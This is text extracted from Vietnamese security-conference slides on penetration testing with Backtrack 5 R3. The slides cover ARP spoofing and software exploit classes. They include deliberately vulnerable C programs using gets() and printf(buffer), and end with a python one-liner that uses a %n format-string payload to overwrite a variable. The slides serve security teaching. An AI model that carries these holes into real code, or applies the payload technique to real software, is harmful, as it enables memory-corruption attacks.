SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
1
2
Nguyễn Hải Long |
Penetration with Backtrack 5 R3
Nguyễn Phương Trường Anh |
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
2
2
Giới thiệu
Diễn giả
Backtrack
Các phương thức tấn công phổ biến:
ARP Spoofing (Ettercap)
Software Exploit (Windows and Linux)
Web Application Attack (SQLi, XSS, Local )
Nội dung chính
2
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
3
2
Diễn giả
Nguyễn Hải Long
Nguyễn Phương Trường Anh
Backtrack
Giới thiệu
3
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
4
2
About me
4
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
5
2
•
Kinh nghiệm 5 năm làm việc trong lĩnh vực
bảo mật và an toàn thông tin
•
Chuyên môn chính Pentest, tư vấn và triển
khai ISO/IEC 27001
Nguyễn Phương Trường Anh
5
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
6
2
6
Giới thiệu
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
7
2
Backtrack là một bản phân phối linux được
tích hợp các công cụ, driver hỗ trợ việc
pentest hệ thống.
Live DVD or Live USB Flash
Phát triển hợp nhất từ 3 công cụ nổi tiếng
Whoppix, IWHAX, và Auditor
Phiên bản mới nhất Backtrack 5 R3
Backtrack
7
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
8
2
Information Gathering: Nmap, traceroute, sqlmap
…
Vulnerability assessment: Nessus, OpenVAS …
Exploitation Tool: Metasploit, Aircrack-ng …
Privilege Escalation: John the Ripper, Ophcrack, …
Maintenance Access
Reverse Engineering: gdb, ollydbg, ida …
Forensic: sleuthkit, chkrootkit, …
Các công cụ sẵn có trên Backtrack
8
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
9
2
Sniffer
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
10
2
ARP Spoofing
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
11
2
Sniff
Netcut/Anti-Netcut
Man in the middle attack
ARP Spoofing (tt)
11
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
12
2
Buffer Overflows
Format Strings
Race Condition
Integer Overflow
Off by one
Software Exploit
12
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
13
2
Trình biên dịch và cấu trúc một hàm
13
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
14
2
Trình biên dịch và cấu trúc một hàm
int func ( int a , int b)
{
int c ;
char d [7] ;
short e ;
return 0 ;
}
14
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
15
2
Tràn bộ đệm xảy ra khi dữ liệu xử lý dài quá giới
hạn vùng nhớ chứa nó.
Buffer Overflows
15
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
16
2
Buffer Overflows (tt)
#include <stdio.h>
int main ( )
{
int cookie;
char buf[16];
printf("&buf: %p, &cookie: %p\n", buf, &cookie);
gets(buf);
if (cookie == 0x41424344)
{
printf ( "You win ! \ n" ) ;
}
}
16
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
17
2
Buffer Overflows (tt)
Thay đổi giá trị biến nội bộ
17
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
18
2
Truyền dữ liệu vào chương trình
Thay đổi luồng thực thi
Quay về thư viện chuẩn
…
Buffer Overflows (tt)
18
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
19
2
Buffer Overflows
Format Strings
Race Condition
Integer Overflow
Off by one
Software Exploit
19
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
20
2
Là lỗi khi dữ chuỗi dữ liệu nhập vào được đánh giá là tập
lệnh của chương trình.
Hàm printf()có dạng:
–
printf(const char *format, )
Nếu gọi printf("Hello");
–
Hello
Nếu gọi printf("1%");
–
1%
Nếu gọi printf("1%%");
–
1%
Format Strings
20
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
21
2
Format Strings (tt)
Dấu % có ý nghĩa đặc biệt
% Đánh dấu sự bắt đầu của một yêu cầu định
dạng
Yêu cầu định dạng tận cùng bởi ký tự định
dạng
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
22
2
Format Strings (tt)
•
% in ra ký tự %
•
c in tham số thứ nhất của một ký tự
•
x in tham số thứ nhất ở dạng thập lục
•
X in tham số thứ nhất ở dạng THẬP LỤC
•
s in chuỗi được chỉ tới bởi tham số thứ nhất
•
n ghi vào ô nhớ có địa chỉ xác định bởi tham số
thứ nhất số lượng ký tự đã in (4 byte)
•
hn giống với n nhưng chỉ in 2 byte
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
23
2
Format Strings (tt)
#include <stdio.h>
int main(int argc, char **argv )
{
char buffer[512];
int cookie = 0 ;
printf("&cookie: %p\n", &cookie);
gets( buffer);
printf("cookie = %.8X\n",cookie);
printf(buffer);
printf("\n cookie = %.8X\n", cookie);
return 0 ;
}
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
24
2
Format Strings (tt)
•
Nhập vào abcdef
•
abcdef
•
Nhập vào %x
•
0
•
Nhập vào %x%x%x%x
•
0 0 0 6
SECURITY BOOTCAMP 2012 | Make yourself to be an expert!
25
2
Format Strings (tt)
•
Để gán 0x64 vào biến cookie
•
[địa chỉ cookie]%x%x%x%x%x%x%x%x%x[…]%n
•
[địa chỉ cookie] in ra 4 byte \x54\xF8\xFF\xBF
•
9 %x in ra 21 byte 0006b7ead8e0fffff5100
•
Để in ra tổng cộng 100 ký tự ta cần thêm 100-21-
4=75 ký tự
•
Vậy […] sẽ là 75 ký tự
python -c 'print "\x54\xF8\xFF\xBF%x%x%x%x%x%x%x%x%x" +
"a"*75 + "%n"' | ./fmt